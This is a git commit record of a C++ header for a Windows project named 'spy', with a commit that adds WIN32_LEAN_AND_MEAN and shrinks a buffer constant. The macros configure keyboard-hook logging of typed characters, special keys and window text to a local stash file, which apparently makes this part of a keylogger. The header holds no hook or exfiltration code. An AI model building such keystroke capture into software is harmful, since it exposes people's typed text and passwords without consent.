<commit_before>#pragma once

#include <windows.h>
#include "../../log-cpp/log.h"

#ifdef WIN32
#define SPY_FILE_SEPARATOR				'\\'
#else
#define SPY_FILE_SEPARATOR				'/'
#endif

#define SPY_AUTO_FFLUSH							/* auto flush data back to hook file when write */
#define SPY_LOG_WINTEXT							/* enable log window text which typed on it */
#define SPY_LOG_NUMBER							/* enable log number keys */
#define SPY_LOG_NUMPAD							/* enable log numpad keys */
#define SPY_LOG_CHARACTER						/* enable log character keys */
#define SPY_LOG_SPECIAL							/* enable log special keys */
#define SPY_LOG_SYMBOL							/* enable log symbol keys */
#define SPY_LOG_UNKNOWN							/* enable log unknown keys */
#define SPY_MAX_WTEXT_LTH				MAX_PATH
#define SPY_TMP_FNAME_LTH				32
#define SPY_TMP_DIR						"C:\\Users\\xuans\\Desktop\\spy"
#define SPY_TMP_FNAME_STASH				"stash"
#define SPY_TMP_KBH_MSZ					1024

#define EXPORT __declspec(dllexport)
#define ADD_FLAG(state, flag) {state |= flag;}
#define REM_FLAG(state, flag) {state &= ~flag;}
#define HAS_FLAG(state, flag) ((state & flag) == flag)
#define SAFE_FREE(ptr) {if (ptr != NULL) {delete ptr; ptr = NULL;}}

#define strdup _strdup							/* just using _strdup instead of strdup, ignore warning :| I don't know why this warning is happening */
<commit_msg>* prevent conflict winsock 1.1 with winsock 2.0 when include windows.h<commit_after>#pragma once

#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif

#include <windows.h>
#include "../../log-cpp/log.h"

#ifdef WIN32
#define SPY_FILE_SEPARATOR				'\\'
#else
#define SPY_FILE_SEPARATOR				'/'
#endif

#define SPY_AUTO_FFLUSH							/* auto flush data back to hook file when write */
#define SPY_LOG_WINTEXT							/* enable log window text which typed on it */
#define SPY_LOG_NUMBER							/* enable log number keys */
#define SPY_LOG_NUMPAD							/* enable log numpad keys */
#define SPY_LOG_CHARACTER						/* enable log character keys */
#define SPY_LOG_SPECIAL							/* enable log special keys */
#define SPY_LOG_SYMBOL							/* enable log symbol keys */
#define SPY_LOG_UNKNOWN							/* enable log unknown keys */
#define SPY_MAX_WTEXT_LTH				MAX_PATH
#define SPY_TMP_FNAME_LTH				32
#define SPY_TMP_DIR						"C:\\Users\\xuans\\Desktop\\spy"
#define SPY_TMP_FNAME_STASH				"stash"
#define SPY_TMP_KBH_MSZ					20

#define EXPORT __declspec(dllexport)
#define ADD_FLAG(state, flag) {state |= flag;}
#define REM_FLAG(state, flag) {state &= ~flag;}
#define HAS_FLAG(state, flag) ((state & flag) == flag)
#define SAFE_FREE(ptr) {if (ptr != NULL) {delete ptr; ptr = NULL;}}

#define strdup _strdup							/* just using _strdup instead of strdup, ignore warning :| I don't know why this warning is happening */

{'fraction_non_alphanumeric': 0.11029140538546661, 'fraction_numerical': 0.008115086683880487, 'mean_word_length': 3.6597938144329896, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 5, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '619739', 'n_tokens_mistral': 1101, 'n_tokens_neox': 972, 'n_words': 281}